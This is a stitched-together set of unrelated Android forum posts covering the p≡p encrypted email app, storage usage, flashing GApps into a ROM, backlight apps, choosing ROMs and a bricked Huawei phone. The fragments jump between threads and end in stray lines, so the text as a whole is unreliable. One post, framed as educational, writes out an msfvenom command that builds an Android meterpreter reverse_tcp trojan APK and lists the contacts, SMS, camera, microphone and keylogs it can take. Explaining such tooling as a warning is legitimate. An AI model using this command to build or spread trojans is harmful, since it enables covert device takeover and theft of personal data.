Personally, if you are looking for encrypted email... I'd choose Proton Mail any day of the week over p=p.

p=p just doesn't seem anywhere near the security of Proton. But that's just my opinion. Test it out and let us know how you like it. It's always nice to have options!
[Security Discussion] nutpants:
I'm just not at the point where I want my email provider to supply my email program.

Don't get me wrong it's not a bad idea..

(I like that it's open source, that's always good)

But I would much rather have encryption all on me and my device..

And I can pick and choose what provider I'm using.

I don't love the idea of being locked into anything...

I found the instructions

https://www.prettyeasyprivacy.com/docs

I wish that people would stop hosting instructions online and include manuals with the installs.I mean seriously how much space will it take?

I will be doing some time reading everything carefully..

But would love opinions from everyone else.

Basically it appears to create extradition keys between users of the app automagiclly and then encrypt everything by default when possible.

Much like text secure was doing for text.

Hopefully things like this will become a standard for email.

(With a common method of encryption so no one it tied to just one particular email app)

And we will see more applications that can be used to encrypt mail.

I'm going to do some testing
[Security Discussion] nutpants:
Well ive done a little testing.

And honesty I'm looking what I see.

Sure this is in early stages and early days.

But it appears that it is as simple as they suggest.

I could even get my least technical buddies to use this email encryption.

I have not seen it try to contact anything except my mail server.

And it does not require contracts out other erroneous permissions (it asks but you can block it and no crashes(at least for me)

It's works automagiclly.

If you exchange emails with someone who is using pep (I think it's stupid that they have the three lines between the p's why not just have the E)

It figures that out and starts exchange of public pgp keys.

Art that point your messages title bar have a yellow background do you know encryption is taking place.

After you verify the "code words" with your correspondent (by voice so you verify who you are taking to is who you are really taking to(or any other method you desire)

Your messages get a green title bar do you know encryption is going on with a verified user..

So simple even a grandpa can understand it.

It uses pgp for encryption so you know it's good

Right now it's pretty basic and there are few encryption options

But they plan ad more features as time goes on

I'm liking what I'm seeing and I will do more testing and will keep an eye on this to see how fast it matures.

The only real con at the moment it that there is no way to secure the app from running with a password to keep any one who gets their hands on your device from reading everything.

But that's a little minor..

If someone had their hands on your device, you have already broken the golden rule.
[Security Discussion] optimumpro:
This app is simply a fork of K9Mail with a few icons replaced...
[Security Discussion] nutpants:
It is definitely a fork.

But encryption had been built in, including auto key generation and key exchanges.

K9 is my daily driver.. And I love it.

But pEp makes encryption simple enough for anyone to use..

(As in my grandmother could use it)

When and if it matures to have all the encryption features most advanced users need

(Like easy key import, export, backup, manual key changes)

It may become my daily driver..

Sadly in the world today, encryption is almost mandatory.

And pep is on the way to make that easy for everyone.

I'm currently running Android Lollipop 5.0 provided by Samsung update. The more I read about flashing roms and unlocking the full potential of your device the more I become curious on ditching the Official OS and look for something else better.

I'm trying to determine if I have a problem here, the storage usage of my Verizon Note 4 seems off. On PaulPizz CPF3, but I had the same issue on stock CPF3. The "Device Storage" shows 23 GB / 32 GB - I have currently one backup which is 7.4 GB, and the next largest is my download folder which has just under 1 GB. How much space should the rest of the files take? I see the system folder is 2.2 GB, my "DATA" folder is 14.5 GB - does this seem correct?

Hi, I have an android device with a custom recovery, I also have the ROM package and I can flash the system directory using the recovery, and I can modify the contents of the ROM package and then flash it, I want to add to this ROM GApps, I've downloaded the GApps package,

It has the folder /system and META-INF that includes the installation script updater-script.sh, The ROM package also have updater-script.sh.

1. Is if it possible to install GApps on to this ROM by copying the contents of updater-script.sh of GApps into the updater-script.sh of the ROM package and copying the contents of /system of GApps to /system of the ROM package?

2. Should I be worried about ROM's META-INT signature files? (CERT.RSA,CERT.SF,MANIFEST.MF)

Thanks.

Does anyone know why it might happen?

I think the title tells you what I'm looking for. I'm trying to get rid off HTC Home since it uses too much space on the today screen. There is nothing in there that I really use that my other programs don't cover except the backlight.

I like the idea of simply pressing on the icon and the intensity changes. Up to now I haven't found any program that does that in this way for HTC devices. Even better would be a program that could be assigned to a hardware button since I have enough of them =D

Does anyone know a programm that cycles the backlight intensity by pressing a hardware button?

There's nothing best for me that best on you. You won't get any solid answer to this question. It's like asking what the best Linux distro. So, no love for windows? Oh wait, they did ask this kind of thing, most likely answer with xp/7 I'm going with 10 tbh. Sorry Mac, I don't have one

If I'm a cm dev, I would say "CM IS DA BEST!"

PA be like "be paranoid!"

Slim like "slimmed down rom, anyone?"

AOKP like "kang'd source, anyone?"

PAC like "I have them all"

And Google like "shut up, you won't born without me"

*note:this is not accurate, just, well, sorry...

Then again, why RR not good? I do think that RR is a great rom.

Maybe if you ask "what rom did you use? And why? Did you still jump between roms? What kind of rom did you find most suitable for your style?" you will get yours.

while on OOS 3.2.6 flash the *modified* TWRP and then flash that community build 3.5.2 not 3.2.5. as community build needs that modified twrp to work.. if you wanna revert to other roms.. flash stock OOS 3.2.6 and then flash twrp official and your all good to go..

[General Questions and Answers] boggyman:
Hi,

My friend accidentally formatted his G700-U20, in a way I couldn't understand, since the phone was not rooted. Somehow, he managed to delete all the files from phone, including bootloader.

After that he managed to upload th firmware for the G700-U10 model, hoping it would work. Unfortunately, it helped partialy, the phone doesn't recognize sim card(s) - since the U10 is a dual sim phone.

Now I'm trying to fix this, but I can't get in fast-boot mode, and if I try to upload the UPDATE.APP file to the SD card, I get the error that the update was unsuccessful due to the wrong version of OS, since I managed to find the stock firmware for the U20.

Any help?

This is just for Educational Purpose nothing else .......

So while i was learning about Linux . I came to know that there is a distro of Linux called Kali Linux. Kali Linux basically has 300+ Hacking tools and has this

metasploit framework in it . Basically it will either create a Windows Trojan or an Android Trojan . I researched about it a bit and came to know that when you basically type in the following in the Terminal.

msfvenom androidmeterpreter/reverse_tcp LHOST=YOUR IP LPORT=ANY3/4DIGITS R > anyname.apk

This command makes it to compile a .apk with the payload and creates it.

When installed in a Android Device it is installed as MainActivity.apk

It can access a phone's Contacts, SMS logs , Call Logs , MICROPHONE , CAMERA !!! , Device Tree , Contents of the Device , Keylogs etc...

It is a light trojan ( not more than 0.3 MB ) and can run in background unnoticed . These Information of your devices are streamed to the hacker and compromises your security . So never download unknown APKS from the web .

[Security Discussion] mynamesepic:
yawn... you might as well have titled this "Water found in ocean" :)

For starters android is awesome and very very flawed (like most 10/10 chicks you will ever meet) This has been a media circus for like 10 yrs now I think.... especially as of very recently we have all concluded that android isn't secure enough to order pizza online (seriously) Every few months theres a headline "huge vulnerabilty detected in Android patch unavailable but uhhh coming soon" (5 yrs later)

As for Kali its the succesor or second edition to Backtrack linux. These are distros specifically made for penetration testing. Basically its another tool for network security experts to assess the condition of a networks known vulnerabilities that haven't been patched yet. Using metasploit you are able to scan a network to find any unpatched bugs and then it will apply the exploit for you. Also I assure you it is much more complicated then typing one command into a box.... one day lol ohhh and those pentesting distros (backtrack is now retired) are nothing special... it is just a basic version of linux that comes preinstalled with a TON of basically security app you would ever want It is generally not recommended to run kali as your personal OS especially if your are teh noobcakes.. ;)

May gain root, may destroy your GPU or simply your device does not boot anymore.

The app NEEDS CACHE FOLDER FREE

For starting their CHEATS.
